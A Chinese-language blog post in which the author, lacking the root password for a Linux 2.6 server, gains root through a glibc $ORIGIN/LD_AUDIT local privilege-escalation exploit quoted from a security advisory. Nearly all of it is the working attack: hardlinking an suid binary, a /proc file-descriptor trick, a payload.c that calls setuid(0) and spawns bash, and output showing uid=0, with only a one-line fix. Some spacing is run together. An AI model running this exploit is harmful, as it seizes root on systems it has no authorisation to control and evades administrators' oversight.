linux2.6内核本地提权，低权限获取root

前言：额、一台linux 服务器PHP 版本太低。。需要升级才能使用ThinkPHP框架，可是我没有root密码，无法升级，虽然是在虚拟集群中的服务器，但是也没有集群的密码，如果直接用修改启动项方式去修改root密码的话，1是太麻烦，2是额、技术含量也太低 。。经过一番百度、Google，发现2.6的内核有一个漏洞， N次失败之后终于找到一能用的神器。操作过程如下。。 神奇的让$---变成-># 我也不懂什么意思，，直接上代码：
It is possible to exploit this flaw to execute arbitrary code as root.Please note, this is a low impact vulnerability that is only of interest to
security professionals and system administrators. End users do not need
to be concerned.Exploitation would look like the following.# Create a directory in /tmp we can control.$ mkdir /tmp/exploit # Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target # Open a file descriptor to the target binary (note: some users are surprised# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).$ exec 3< /tmp/exploit/target # This descriptor should now be accessible via /proc.
$ ls -l /proc/$$/fd/3
lr-x------ 1taviso taviso 64Oct 1509:21/proc/10836/fd/3->/tmp/exploit/target*# Remove the directory previously created$ rm -rf /tmp/exploit/# The /proc link should still exist, but now will be marked deleted.$ ls -l /proc/$$/fd/3lr-x------ 1taviso taviso 64Oct 1509:21/proc/10836/fd/3->/tmp/exploit/target (deleted)# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().$ cat >payload.c void __attribute__((constructor)) init(){ setuid(0); system("/bin/bash"); }
#此处有一个回车
#（此处ctrl+c结束 ）
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c$ ls -l /tmp/exploit-rwxrwx---1taviso taviso 4.2K Oct 1509:22/tmp/exploit*
# Now force the link in /proc to load $ORIGIN via LD_AUDIT.$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3sh-4.1# whoamiroot sh-4.1# iduid=0(root)gid=500(taviso)漏洞解决方法(这是由GCC引发的一个漏洞):
升级:glibc、